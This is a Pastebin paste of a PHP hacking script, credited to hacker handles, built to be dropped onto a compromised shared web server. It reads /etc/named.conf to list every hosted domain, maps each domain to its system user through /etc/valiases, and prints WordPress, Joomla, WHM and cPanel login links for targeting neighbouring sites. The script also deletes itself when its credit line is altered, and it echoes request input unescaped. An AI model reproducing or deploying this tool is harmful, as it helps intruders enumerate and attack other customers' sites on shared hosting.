mike466

Local Domain[By Lagripe-Dz]

Jun 30th, 2012
242
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.87 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>[ Local DOMAIN:USER Show ]</title>
  4. <style>*{ font-family:tahoma; font-size:12; }
  5. td,tr{ text-align:center;}
  6. tr:hover { background-color:#6CF;}
  7. A:link { color:#000;}
  8. </style>
  9. </head>
  10.  
  11. <body>
  12. <center>
  13. <p>[ Local DOMAIN:USER Show ]</p>
  14. <p>Real Script By Lagripe-Dz | Edited By <a href="http://bysic.rc.my">aFnuM Hexor</a></p> <!--Please Do Not Remove This !!!-->
  15. <p>[ <a href='?ShowAll'>Show All</a> ] - [ <a href='?UserDomains'>User Domains</a> ] - [ <a href='?DomainUser'>Domain User</a> ]</p>
  16. <?
  17.  
  18. $file = @implode(@file("/etc/named.conf"));
  19.  
  20. if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
  21.  
  22. preg_match_all("#named/(.*?).db#",$file ,$r);
  23.  
  24. $domains = array_unique($r[1]);
  25.  
  26. check();
  27.  
  28. if(isset($_GET['ShowAll'])){
  29.  
  30. echo "<table align=center border=1 width=59% cellpadding=5>
  31. <tr><td colspan=3>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
  32. <tr><td>Domain</td><td>Login</td><td>User</td></tr>";
  33.  
  34. foreach($domains as $domain){
  35.  
  36. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
  37.  
  38. echo "<tr><td><a href=http://www.".$domain."/>".$domain."</a></td><td><a href=http://www.".$domain."/wp-login.php>Wordpress</a> / <a href=http://www.".$domain."/administrator/>Joomla</a> / <a href=http://www.".$domain.":2086/>WHM</a> / <a href=http://www.".$domain.":2082>cPanel</a></td><td>".$user['name']."</td></tr>";
  39.  
  40. }
  41.  
  42. echo "</table>";
  43.  
  44. }
  45.  
  46. if(isset($_GET['UserDomains'])){
  47.  
  48. echo "
  49. <form action='?UserDomains' method='GET'>
  50. <input type=hidden name=UserDomains value=1>
  51. User : <input type=text name=user value=$_GET[user]> - <input type=submit value=Show>
  52. </form>
  53. ";
  54.  
  55. if(isset($_GET['user'])){
  56. echo "<table border=1 width=30% cellpadding=5>
  57. <tr><td><b>Domains<td>Login</td></b></td></tr>";
  58. foreach($domains as $n=>$domain){
  59. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
  60. echo ($_GET['user'] == $user['name']) ? "<tr><td><a href=http://www.".$domain."/>".$domain."</a></td><td><a href=http://www.".$domain."/wp-login.php>Wordpress</a> / <a href=http://www.".$domain."/administrator/>Joomla</a> / <a href=http://www.".$domain.":2086/>WHM</a> / <a href=http://www.".$domain.":2082>cPanel</a></td></tr>":"";
  61. }
  62. echo "</table>";
  63. }
  64.  
  65. }
  66.  
  67. if(isset($_GET['DomainUser'])){
  68.  
  69. echo "
  70. <form action='?DomainUser' method='GET'>
  71. <input type=hidden name=DomainUser value=1>
  72. Domain : <input type=text name=domain value=$_GET[domain]> - <input type=submit value=Show>
  73. </form>
  74. ";
  75.  
  76. if(isset($_GET['domain'])){
  77. $user = posix_getpwuid(@fileowner("/etc/valiases/".$_GET['domain']));
  78. echo "User is : [ ".$user['name']." ]";
  79. }
  80. }
  81.  
  82. function check(){(@count(@explode('ip',@implode(@file(__FILE__))))!=6) ?@unlink(__FILE__):"";}
  83.  
  84. ?>
  85.  
  86. <p><a href="http://www.Sec4ever.com/">www.Sec4ever.com</a> | <a href="http://www.Lagripe-Dz.org/">
  87. www.Lagripe-Dz.org</a><br> | <a href="http://bysic.rc.my">Bysic.rc.my</a></p>
  88. </body>
  89. </html>
Add Comment
Please, Sign In to add comment